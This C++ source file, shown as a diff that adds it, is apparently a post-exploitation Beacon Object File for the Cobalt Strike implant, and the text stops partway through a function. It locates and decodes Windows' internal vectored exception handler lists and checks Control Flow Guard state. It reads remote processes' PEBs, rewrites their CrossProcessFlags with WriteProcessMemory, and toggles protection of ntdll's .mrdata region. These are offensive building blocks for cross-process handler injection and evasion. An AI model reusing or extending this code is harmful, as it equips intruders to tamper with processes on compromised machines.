@@ -0,0 +1,1774 @@
#include <Windows.h>
#include <stdio.h>
#include "VEH.h"
#include "ntos.h"
#include "ntrtl.h"
//#include "peb.h"
#include "ntldr.h"
#include "hwbp.h"
#include "base\helpers.h"
/**
* For the debug build we want:
* a) Include the mock-up layer
* b) Undefine DECLSPEC_IMPORT since the mocked Beacon API
* is linked against the the debug build.
*/
#ifdef _DEBUG
#include "base\mock.h"
#undef DECLSPEC_IMPORT
#define DECLSPEC_IMPORT
#endif
extern "C" {
#include "beacon.h"
// CFG Stuff
PVOID LdrpAllocationGranularity = NULL ;
PVOID LdrpMrdataHeap = NULL ;
PVOID LdrpMrdataHeapUnprotected = NULL ;
PVOID LdrpMrdataBase = NULL ;
SRWLOCK LdrpMrdataLock ;
SIZE_T LdrpMrdataSize ;
int LdrpMrdataUnprotected ;
// Used for RtlEncodePointer
ULONG g_CookieValue ;
LONG CALLBACK MyVectoredHandler (PEXCEPTION_POINTERS ExceptionInfo )
{
/*BeaconPrintf(CALLBACK_OUTPUT, "\n *** Hello from VEH!! *** \n");
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord: %#llx", ExceptionInfo->ExceptionRecord);
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionAddress: %#llx [%d]",
ExceptionInfo->ExceptionRecord->ExceptionAddress, offsetof(EXCEPTION_RECORD, ExceptionAddress));
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionFlags: %#llx [%d]",
ExceptionInfo->ExceptionRecord->ExceptionFlags, offsetof(EXCEPTION_RECORD, ExceptionFlags));
BeaconPrintf(CALLBACK_OUTPUT, "ExceptionRecord->ExceptionCode: %#llx [%d]\n",
ExceptionInfo->ExceptionRecord->ExceptionCode, offsetof(EXCEPTION_RECORD, ExceptionCode));
#ifdef _WIN64
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord: %#llx [%d]", ExceptionInfo->ContextRecord, offsetof(EXCEPTION_POINTERS, ContextRecord));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rcx: %#llx [%d]", ExceptionInfo->ContextRecord->Rcx, offsetof(CONTEXT, Rcx));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rdx: %#llx [%d]", ExceptionInfo->ContextRecord->Rdx, offsetof(CONTEXT, Rdx));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R8: %#llx [%d]", ExceptionInfo->ContextRecord->R8, offsetof(CONTEXT, R8));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->R9: %#llx [%d]", ExceptionInfo->ContextRecord->R9, offsetof(CONTEXT, R9));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rip: %#llx [%d]", ExceptionInfo->ContextRecord->Rip, offsetof(CONTEXT, Rip));
BeaconPrintf(CALLBACK_OUTPUT, "ContextRecord->Rax: %#llx [%d]", ExceptionInfo->ContextRecord->Rax, offsetof(CONTEXT, Rax));
#endif
//ULONG_PTR retAddr = GetReturnAddress(ExceptionInfo->ContextRecord);
//BeaconPrintf(CALLBACK_OUTPUT, "Return Address: %#llx", retAddr);
*/
return EXCEPTION_CONTINUE_EXECUTION ;
}
LONG CALLBACK MyContinueHandler (PEXCEPTION_POINTERS ExceptionInfo )
{
BeaconPrintf (CALLBACK_OUTPUT , "\n *** Hello from VCH!! *** \n" );
return EXCEPTION_CONTINUE_EXECUTION ;
}
BOOL LdrControlFlowGuardEnforced ()
{
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
// return qword_7FFA77B093C8 && (dword_7FFA77B093AC & 1) == 0;
// LdrSystemDllInitBlock + 184 == CfgBitMap
// LdrSystemDllInitBlock + 156 == Flags (CfgOverride: 1)
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return FALSE;
PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK )GetProcAddress (ntdll , "LdrSystemDllInitBlock" );
BOOL enforced = (LdrSystemDllInitBlock -> CfgBitMap ) && (LdrSystemDllInitBlock -> Flags & 1 ) == 0 ;
BeaconPrintf (CALLBACK_OUTPUT , "LdrControlFlowGuardEnforced() => %d" , enforced );
return enforced ;
}
BOOL LdrControlFlowGuardEnforcedEx (HANDLE hProc )
{
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetProcessId);
//DFR_LOCAL(MSVCRT, calloc);
//DFR_LOCAL(MSVCRT, free);
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return FALSE;
LPCVOID addr = GetProcAddress (ntdll , "LdrSystemDllInitBlock" );
PPS_SYSTEM_DLL_INIT_BLOCK LdrSystemDllInitBlock = (PPS_SYSTEM_DLL_INIT_BLOCK )calloc (1 , sizeof (PS_SYSTEM_DLL_INIT_BLOCK ));
if (LdrSystemDllInitBlock == NULL || !ReadProcessMemory (hProc , addr , LdrSystemDllInitBlock , sizeof (PS_SYSTEM_DLL_INIT_BLOCK ), NULL ))
return FALSE;
BOOL enforced = (LdrSystemDllInitBlock -> CfgBitMap ) && (LdrSystemDllInitBlock -> Flags & 1 ) == 0 ;
free (LdrSystemDllInitBlock );
BeaconPrintf (CALLBACK_OUTPUT , "LdrControlFlowGuardEnforced() => %s (PID: %d)" ,
enforced ? "true" : "false" , GetProcessId (hProc ));
return enforced ;
}
ULONGLONG GetLdrpVectorHandlerList () {
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(MSVCRT, memcpy);
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return 0 ;
ULONGLONG procAddress = (ULONGLONG )GetProcAddress (ntdll , "RtlRemoveVectoredExceptionHandler" );
BYTE * Buffer = (BYTE * )(GetProcAddress (ntdll , "RtlRemoveVectoredExceptionHandler" ));
//BeaconPrintf(CALLBACK_OUTPUT, "RtlRemoveVectoredExceptionHandler [%#llx]", procAddress);
DWORD dwCount = 0 ;
DWORD dwOffset = 0 ;
for (dwCount = 0 ; dwCount < 60 ; dwCount ++ ) {
if ((* (Buffer + dwCount ) == 0x4c ) && (* (Buffer + dwCount + 1 ) == 0x8d ) && (* (Buffer + dwCount + 2 ) == 0x25 )) {
memcpy (& dwOffset , (Buffer + dwCount + 3 ), 4 );
break ;
}
}
return ((LONGLONG )Buffer + dwCount + 7 + dwOffset );
}
void DumpHandlerList (PVECTORED_HANDLER_LIST head )
{
DFR_LOCAL (KERNEL32 , DecodePointer );
PLIST_ENTRY Flink = head -> HandlerList .Flink ;
int count = 0 ;
BeaconPrintf (CALLBACK_OUTPUT , "head->SrwLock: %p" , head -> SrwLock );
BeaconPrintf (CALLBACK_OUTPUT , "&head->HandlerList: %p" , & head -> HandlerList );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList->Flink: %p" , head -> HandlerList .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList->Blink: %p" , head -> HandlerList .Blink );
for (PLIST_ENTRY next = Flink ; next != & head -> HandlerList && count < 255 ; next = next -> Flink )
{
PVECTORED_HANDLER_ENTRY entry = reinterpret_cast < PVECTORED_HANDLER_ENTRY > (next );
BeaconPrintf (CALLBACK_OUTPUT , "-->" );
BeaconPrintf (CALLBACK_OUTPUT , "entry #%d" , ++ count );
BeaconPrintf (CALLBACK_OUTPUT , "&entry->Entry: %p" , & entry -> Entry );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Entry.Flink: %p" , entry -> Entry .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Entry.Blink: %p" , entry -> Entry .Blink );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Unknown1: %llu" , * entry -> Unknown1 );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Unknown2: %lu" , entry -> Unknown2 );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Handler: %p (decoded)" , DecodePointer (entry -> Handler ));
}
}
PVOID ReadPointer (HANDLE hProc , LPCVOID addr )
{
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
if (hProc == NULL )
return 0 ;
PVOID value = 0 ;
if (!ReadProcessMemory (hProc , addr , & value , sizeof (PVOID ), NULL ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to read pointer at %#llx" , addr );
return 0 ;
}
return value ;
}
PPEB NtCurrentPeb ()
{
#if defined(_WIN64 )
PPEB peb = (PPEB )__readgsqword (0x60 );
#else
PPEB peb = (PPEB )__readfsdword (0x30 );
#endif
return peb ;
}
PVOID MemDecodePointer (PVOID Pointer , ULONG cookie )
{
return (PVOID )(RotateRight64 ((ULONG_PTR )Pointer , 0x40 - (cookie & 0x3f )) ^ cookie );
}
PVOID MemEncodePointer (PVOID Pointer , ULONG cookie )
{
return (PVOID )(RotateRight64 ((ULONG_PTR )Pointer ^ cookie , cookie & 0x3f ));
}
ULONG GetProcessCookie (HANDLE hProcess ) {
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
NTSTATUS status ;
ULONG dwProcCookie = 0 ;
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return 0 ;
// TODO: syscalls
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS )GetProcAddress (ntdll , "NtQueryInformationProcess" );
status = NtQueryInformationProcess (hProcess , (PROCESSINFOCLASS )36 , (DWORD_PTR * )& dwProcCookie , sizeof (ULONG ), NULL );
if (status != 0 )
{
return 0 ;
}
return dwProcCookie ;
}
void DumpHandlerListEx (HANDLE hProc , LPCVOID headAddr )
{
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetLastError);
//DFR_LOCAL(MSVCRT, calloc);
//DFR_LOCAL(MSVCRT, free);
//DFR_LOCAL(MSVCRT, memset);
if (hProc == NULL )
return ;
SIZE_T bytesRead ;
PVECTORED_HANDLER_LIST head = (PVECTORED_HANDLER_LIST )calloc (1 , sizeof (VECTORED_HANDLER_LIST ));
if (head == NULL )
{
BeaconPrintf (CALLBACK_ERROR , "Unable to allocate %d bytes for VECTORED_HANDLER_LIST" ,
sizeof (VECTORED_HANDLER_LIST ));
return ;
}
if (!ReadProcessMemory (hProc , headAddr , head , sizeof (VECTORED_HANDLER_LIST ), & bytesRead ) ||
bytesRead != sizeof (VECTORED_HANDLER_LIST ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to read handler list. Read=%d, Error=%d" ,
bytesRead , GetLastError ());
return ;
}
DWORD count = 0 ;
DWORD cookie = GetProcessCookie (hProc );
PLIST_ENTRY Flink = head -> HandlerList .Flink ;
void * handlerListAddr = ((byte * )headAddr + offsetof(VECTORED_HANDLER_LIST , HandlerList ));
BeaconPrintf (CALLBACK_OUTPUT , "head->SrwLock: %#llx" , head -> SrwLock );
BeaconPrintf (CALLBACK_OUTPUT , "&head->HandlerList: %#llx" , handlerListAddr );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList->Flink: %p" , head -> HandlerList .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "head->HandlerList->Blink: %p" , head -> HandlerList .Blink );
PVECTORED_HANDLER_ENTRY entry = (PVECTORED_HANDLER_ENTRY )calloc (1 , sizeof (VECTORED_HANDLER_ENTRY ));
if (entry == NULL )
{
BeaconPrintf (CALLBACK_ERROR , "Unable to allocate %d bytes for VECTORED_HANDLER_ENTRY" ,
sizeof (VECTORED_HANDLER_ENTRY ));
return ;
}
for (PLIST_ENTRY next = Flink ; next != handlerListAddr && count < 255 ;
next = (PLIST_ENTRY )ReadPointer (hProc , ((byte * )next + offsetof(LIST_ENTRY , Flink ))))
{
if (!ReadProcessMemory (hProc , next , entry , sizeof (VECTORED_HANDLER_ENTRY ), & bytesRead ) ||
bytesRead != sizeof (VECTORED_HANDLER_ENTRY ))
{
BeaconPrintf (CALLBACK_ERROR , "Unable to read handler entry" );
break ;
}
BeaconPrintf (CALLBACK_OUTPUT , "-->" );
BeaconPrintf (CALLBACK_OUTPUT , "entry #%d" , ++ count );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Entry: %#llx" , ((byte * )next + offsetof(VECTORED_HANDLER_ENTRY , Entry )));
BeaconPrintf (CALLBACK_OUTPUT , "entry->Entry.Flink: %#llx" , entry -> Entry .Flink );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Entry.Blink: %#llx" , entry -> Entry .Blink );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Unknown1: %llu" , ReadPointer (hProc , entry -> Unknown1 ));
BeaconPrintf (CALLBACK_OUTPUT , "entry->Unknown2: %lu" , entry -> Unknown2 );
BeaconPrintf (CALLBACK_OUTPUT , "entry->Handler: %p (decoded)" , MemDecodePointer (entry -> Handler , cookie ));
memset (entry , 0 , sizeof (VECTORED_HANDLER_ENTRY ));
}
free (head );
free (entry );
}
void DumpHandlers (BOOL addVEH , BOOL addVCH )
{
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler);
//DFR_LOCAL(KERNEL32, AddVectoredContinueHandler);
VECTORED_HANDLER_ENTRY * veh = NULL ;
VECTORED_HANDLER_ENTRY * vch = NULL ;
VECTORED_HANDLER_LIST * LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST )GetLdrpVectorHandlerList ();
BeaconPrintf (CALLBACK_OUTPUT , "\n *** Metadata *** \n" );
if (addVEH )
{
veh = (VECTORED_HANDLER_ENTRY * )AddVectoredExceptionHandler (1 , MyVectoredHandler );
BeaconPrintf (CALLBACK_OUTPUT , "Address of VEH: %p" , veh );
}
if (addVCH )
{
vch = (VECTORED_HANDLER_ENTRY * )AddVectoredContinueHandler (1 , MyContinueHandler );
BeaconPrintf (CALLBACK_OUTPUT , "Address of VCH: %p" , vch );
}
BeaconPrintf (CALLBACK_OUTPUT , "MyVectoredHandler: %p" , MyVectoredHandler );
BeaconPrintf (CALLBACK_OUTPUT , "MyContinueHandler: %p" , MyContinueHandler );
BeaconPrintf (CALLBACK_OUTPUT , "LdrpVectorHandlerList: 0#%#llx" , * (ULONG_PTR * )LdrpVectorHandlerList );
BeaconPrintf (CALLBACK_OUTPUT , "\n *** Vectored Exception Handlers *** \n" );
DumpHandlerList (& LdrpVectorHandlerList [0 ]);
BeaconPrintf (CALLBACK_OUTPUT , "\n *** Vectored Continue Handlers *** \n" );
DumpHandlerList (& LdrpVectorHandlerList [1 ]);
}
PVOID GetProcessHeapEx (HANDLE hProcess ) {
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
NTSTATUS status ;
PVOID ProcessHeap = NULL ;
PROCESS_BASIC_INFORMATION ProcessInformation {};
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return NULL ;
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS )GetProcAddress (ntdll , "NtQueryInformationProcess" );
status = NtQueryInformationProcess (hProcess , ProcessBasicInformation , (DWORD_PTR * )& ProcessInformation , sizeof (ProcessInformation ), NULL );
if (status != 0 )
return NULL ;
SIZE_T dwRead = 0 ;
PPEB pPEB = (PPEB )ProcessInformation .PebBaseAddress ;
if (ReadProcessMemory (hProcess , (PBYTE )pPEB + offsetof(PEB , ProcessHeap ), & ProcessHeap , sizeof (PVOID ), & dwRead ) == FALSE)
return NULL ;
return ProcessHeap ;
}
BOOL SetCrossProcessFlags (HANDLE hProcess , DWORD64 NewFlags ) {
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, VirtualProtectEx);
//DFR_LOCAL(KERNEL32, WriteProcessMemory);
NTSTATUS status ;
DWORD64 CrossProcessFlags = 0 ;
PROCESS_BASIC_INFORMATION ProcessInformation {};
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return FALSE;
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS )GetProcAddress (ntdll , "NtQueryInformationProcess" );
status = NtQueryInformationProcess (hProcess , ProcessBasicInformation , (DWORD_PTR * )& ProcessInformation , sizeof (ProcessInformation ), NULL );
if (status != 0 )
{
return FALSE;
}
SIZE_T dwRead = 0 ;
PPEB pPEB = (PPEB )ProcessInformation .PebBaseAddress ;
if (ReadProcessMemory (hProcess , (PBYTE )pPEB + 0x50 , & CrossProcessFlags , sizeof (DWORD64 ), & dwRead ) == FALSE) {
return FALSE;
}
BeaconPrintf (CALLBACK_OUTPUT , "Old CrossProcessFlags: %d" , CrossProcessFlags );
// Add new flags
CrossProcessFlags |= NewFlags ;
BeaconPrintf (CALLBACK_OUTPUT , "New CrossProcessFlags: %d" , CrossProcessFlags );
DWORD oldProtect = 0 ;
if (!VirtualProtectEx (hProcess , (PBYTE )pPEB + 0x50 , sizeof (DWORD64 ), PAGE_READWRITE , & oldProtect ))
{
return FALSE;
}
SIZE_T bytesWritten = 0 ;
if (!WriteProcessMemory (hProcess , (PBYTE )pPEB + 0x50 , & CrossProcessFlags , sizeof (DWORD64 ), & bytesWritten ))
{
return FALSE;
}
return VirtualProtectEx (hProcess , (PBYTE )pPEB + 0x50 , sizeof (DWORD64 ), oldProtect , & oldProtect );
}
LPVOID GetCrossProcessFlags (HANDLE hProcess , PEB * outPEB , DWORD64 * CrossProcessFlags ) {
//DFR_LOCAL(KERNEL32, ReadProcessMemory);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(KERNEL32, GetProcAddress);
NTSTATUS status ;
PROCESS_BASIC_INFORMATION ProcessInformation {};
HMODULE ntdll = GetModuleHandleA ("ntdll.dll" );
if (ntdll == NULL )
return NULL ;
// TODO: syscalls
LPNTQUERYINFORMATIONPROCESS NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS )GetProcAddress (ntdll , "NtQueryInformationProcess" );
status = NtQueryInformationProcess (hProcess , ProcessBasicInformation , (DWORD_PTR * )& ProcessInformation , sizeof (ProcessInformation ), NULL );
if (status != 0 )
{
return NULL ;
}
SIZE_T dwRead = 0 ;
if (outPEB != NULL && ReadProcessMemory (hProcess , ProcessInformation .PebBaseAddress , outPEB , sizeof (PEB ), & dwRead ) == FALSE) {
return NULL ;
}
PPEB pPEB = (PPEB )ProcessInformation .PebBaseAddress ;
if (CrossProcessFlags != NULL && ReadProcessMemory (hProcess , (PBYTE )pPEB + 0x50 , (LPVOID )CrossProcessFlags , sizeof (DWORD64 ), & dwRead ) == FALSE) {
return NULL ;
}
return (LPVOID )ProcessInformation .PebBaseAddress ;
}
ULONGLONG LdrpLocateMrdata ()
{
//DFR_LOCAL(KERNEL32, VirtualQuery);
BeaconPrintf (CALLBACK_OUTPUT , "LdrpLocateMrdata()" );
// TODO: still need to Reverse this func
// For now we can just return the page that the VEH list is in (as a cheat)
ULONGLONG result = 0 ;
PVOID addr = (PVOID )GetLdrpVectorHandlerList ();
MEMORY_BASIC_INFORMATION memInfo ;
if (!VirtualQuery (& addr , & memInfo , sizeof (memInfo )))
__fastfail (5 );
LdrpMrdataBase = addr ;
LdrpMrdataSize = 0x1000 ;
LdrpMrdataUnprotected = memInfo .Protect & PAGE_READONLY ;
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataBase = %p\n", LdrpMrdataBase);
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataSize = %llu\n", LdrpMrdataSize);
//BeaconPrintf(CALLBACK_OUTPUT, "LdrpMrdataUnprotected = %d\n", LdrpMrdataUnprotected);
//__int64 v0; // rdx
//__int64 v1; // rax
//__int64 v2; // rdi
//__int64 v3; // rbx
//__int64 result; // rax
//__int64 v5; // [rsp+30h] [rbp+8h] BYREF
//RtlImageNtHeaderEx(3i64, 0x180000000ui64, 0i64, &v5);
//v1 = RtlSectionTableFromVirtualAddress(v5, v0, (unsigned int)&LdrSystemDllInitBlock - 0x80000000);
//if (!v1)
// __fastfail(5u);
//v2 = 0x180000000i64 + *(unsigned int*)(v1 + 12);
//v3 = *(unsigned int*)(v1 + 8);
//result = LdrpMakePermanentImageCommit(v2, v3);
//LdrpMrdataSize = v3;
//LdrpMrdataBase = v2;
return result ;
}
NTSTATUS LdrpChangeMrdataProtection (ULONG Protect )
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
NTSTATUS result ;
ULONG OldProtect ;
SIZE_T RegionSize ;
PVOID BaseAddress ;
HMODULE ntdll = GetModuleHandleA ("ntdll" );
if (ntdll == NULL )
return STATUS_INVALID_HANDLE ;
// TODO: syscalls
NtProtectVirtualMemory = (LPNTPROTECTVIRTUALMEMORY )GetProcAddress (ntdll , "NtProtectVirtualMemory" );
if (!LdrpMrdataBase )
LdrpLocateMrdata ();
OldProtect = Protect ;
BaseAddress = LdrpMrdataBase ;
RegionSize = LdrpMrdataSize ;
//BeaconPrintf(CALLBACK_OUTPUT, "call NtProtectVirtualMemory");
//BeaconPrintf(CALLBACK_OUTPUT, "Protect: %lu", Protect);
//BeaconPrintf(CALLBACK_OUTPUT, "RegionSize: %zu", RegionSize);
//BeaconPrintf(CALLBACK_OUTPUT, "BaseAddress: %p", BaseAddress);
result = NtProtectVirtualMemory (NtCurrentProcess (), & BaseAddress , & RegionSize , OldProtect , & OldProtect );
//BeaconPrintf(CALLBACK_OUTPUT, "result = %d", result);
if (!NT_SUCCESS (result ))
__fastfail (5 );
return result ;
}
VOID NTAPI LdrProtectMrdata (int Protect )
{
/*
* Rules for calling this function (as I understand it)
*
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 1 will cause a __fastfail
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == -1 will cause a __fastfail
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected >= 1 will always increment LdrpMrdataUnprotected by 1
* Calling LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0 will:
* cause the protection to be changed to READWRITE
* increment LdrpMrdataUnprotected by 1
* this means that LdrpMrdataUnprotected could be any value above 1, or even overflow (see above -1 check)
*
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 0 will cause a __fastfail
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected > 0 will always decrement LdrpMrdataUnprotected by 1
* Calling LdrProtectMrdata(1) when LdrpMrdataUnprotected == 1 will:
* cause the protection to be changed to READONLY
* decrement LdrpMrdataUnprotected by 1
*
* Notes:
* a) you could crank up LdrpMrdataUnprotected to a high number and LdrProtectMrdata(1)
* will never actually set the page back to READONLY
* b) the caller has to check LdrpMrdataUnprotected to make sure they dont crash the process if its out of sync
* c) if LdrpMrdataUnprotected is uninitialised it will be treated as if the initial state is READONLY
*/
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
int isReadWrite ; // edi
BeaconPrintf (CALLBACK_OUTPUT , "LdrProtectMrdata(%d)" , Protect );
BeaconPrintf (CALLBACK_OUTPUT , "LdrpMrdataUnprotected: %d" , LdrpMrdataUnprotected );
AcquireSRWLockExclusive (& LdrpMrdataLock );
isReadWrite = LdrpMrdataUnprotected ;
//LdrProtectMrdata(0)
if (!Protect )
{
// If MrData is READONLY (LdrpMrdataUnprotected == 0)
if (!LdrpMrdataUnprotected )
{
LdrpChangeMrdataProtection (PAGE_READWRITE );
LABEL_5 :
LdrpMrdataUnprotected = isReadWrite + 1 ;
return ReleaseSRWLockExclusive (& LdrpMrdataLock );
}
// else it's already READWRITE (LdrpMrdataUnprotected > 0)
// overflow check here
// but what happens if it's 2 or already 1?
if (LdrpMrdataUnprotected != -1 )
goto LABEL_5 ;
LABEL_10 :
ReleaseSRWLockExclusive (& LdrpMrdataLock );
__fastfail (0xEu );
}
// LdrProtectMrData(1) ..
// If MrData is READONLY (LdrpMrdataUnprotected == 0)
// Shouldn't call LdrProtectMrdata(0) when LdrpMrdataUnprotected == 0
if (!LdrpMrdataUnprotected )
goto LABEL_10 ;
// Decrement LdrpMrdataUnprotected (i.e. from 1 to 0)
// But what happens if it was 2, does it go to 1?
-- LdrpMrdataUnprotected ;
// If LdrpMrdataUnprotected was originally 1 (i.e. READWRITE)
// When we entered the function, then it's safe to change to READONLY
if (isReadWrite == 1 )
LdrpChangeMrdataProtection (PAGE_READONLY );
return ReleaseSRWLockExclusive (& LdrpMrdataLock );
}
NTSTATUS LdrEnsureMrdataHeapExistsEx (HANDLE hProc )
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
NTSTATUS result ;
PVOID pHeap ;
PVOID alloc ;
BOOLEAN ProtectHeap ;
PVOID BaseAddress ;
ULONG_PTR RegionSize ;
if (hProc == NULL )
return STATUS_INVALID_HANDLE ;
HMODULE ntdll = GetModuleHandleA ("ntdll" );
if (ntdll == NULL )
return STATUS_INVALID_HANDLE ;
// TODO: syscalls
NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY )GetProcAddress (ntdll , "NtAllocateVirtualMemory" );
NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY )GetProcAddress (ntdll , "NtFreeVirtualMemory" );
RtlCreateHeap = (RTLCREATEHEAP )GetProcAddress (ntdll , "RtlCreateHeap" );
RtlAllocateHeap = (RTLALLOCATEHEAP )GetProcAddress (ntdll , "RtlAllocateHeap" );
RtlProtectHeap = (RTLPROTECTHEAP )GetProcAddress (ntdll , "RtlProtectHeap" );
RtlFreeHeap = (RTLFREEHEAP )GetProcAddress (ntdll , "RtlFreeHeap" );
RtlDestroyHeap = (RTLDESTROYHEAP )GetProcAddress (ntdll , "RtlDestroyHeap" );
BeaconPrintf (CALLBACK_OUTPUT , "LdrEnsureMrdataHeapExistsEx" );
// If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL)
if (!LdrControlFlowGuardEnforcedEx (hProc )) // || LdrpMrdataHeap)
return STATUS_SUCCESS ;
BaseAddress = 0 ;
RegionSize = (ULONG_PTR )LdrpAllocationGranularity ;
result = NtAllocateVirtualMemory (hProc , & BaseAddress , 0 , & RegionSize , MEM_RESERVE , PAGE_READWRITE );
if (NT_SUCCESS (result ))
{
pHeap = RtlCreateHeap (HEAP_GROWABLE , BaseAddress , 0 , 0 , 0 , 0 );
if (pHeap )
{
alloc = RtlAllocateHeap (pHeap , 0 , 4 );
if (alloc )
{
ProtectHeap = TRUE;
RtlProtectHeap (pHeap , ProtectHeap );
LdrProtectMrdata (FALSE);
AcquireSRWLockExclusive (& LdrpMrdataLock );
// Now we allocated a READONLY heap, lets update the global variables
if (!LdrpMrdataHeap )
{
// LdrpMrdataHeapUnprotected will either be NULL or address of alloc
LdrpMrdataHeapUnprotected = alloc ;
LdrpMrdataHeap = pHeap ;
ReleaseSRWLockExclusive (& LdrpMrdataLock );
LdrProtectMrdata (TRUE);
return STATUS_SUCCESS ;
}
ReleaseSRWLockExclusive (& LdrpMrdataLock );
LdrProtectMrdata (TRUE);
RtlProtectHeap (pHeap , 0 );
RtlFreeHeap (pHeap , 0 , alloc );
}
RtlDestroyHeap (pHeap );
}
// Free memory we allocated with NtAllocateVirtualMemory
// We get here if RtlCreateHeap or RtlAllocateHeap failed
NtFreeVirtualMemory (NtCurrentProcess (), & BaseAddress , & RegionSize , MEM_RELEASE );
// Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap
// However another thread may have already allocated it, so we double check (I guess?)
if (!LdrpMrdataHeap )
return STATUS_NO_MEMORY ;
return STATUS_SUCCESS ;
}
// If NtAllocateVirtualMemory fails, we just return it's NT_STATUS
return result ;
}
NTSTATUS LdrEnsureMrdataHeapExists ()
{
//DFR_LOCAL(KERNEL32, GetProcAddress);
//DFR_LOCAL(KERNEL32, GetModuleHandleA);
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive);
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive);
NTSTATUS result ;
PVOID pHeap ;
PVOID alloc ;
BOOLEAN ProtectHeap ;
PVOID BaseAddress ;
ULONG_PTR RegionSize ;
HMODULE ntdll = GetModuleHandleA ("ntdll" );
if (ntdll == NULL )
return STATUS_INVALID_HANDLE ;
// TODO: syscalls
NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY )GetProcAddress (ntdll , "NtAllocateVirtualMemory" );
NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY )GetProcAddress (ntdll , "NtFreeVirtualMemory" );
RtlCreateHeap = (RTLCREATEHEAP )GetProcAddress (ntdll , "RtlCreateHeap" );
RtlAllocateHeap = (RTLALLOCATEHEAP )GetProcAddress (ntdll , "RtlAllocateHeap" );
RtlProtectHeap = (RTLPROTECTHEAP )GetProcAddress (ntdll , "RtlProtectHeap" );
RtlFreeHeap = (RTLFREEHEAP )GetProcAddress (ntdll , "RtlFreeHeap" );
RtlDestroyHeap = (RTLDESTROYHEAP )GetProcAddress (ntdll , "RtlDestroyHeap" );
BeaconPrintf (CALLBACK_OUTPUT , "LdrEnsureMrdataHeapExists" );
// If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL)
if (!LdrControlFlowGuardEnforced () || LdrpMrdataHeap )
return STATUS_SUCCESS ;
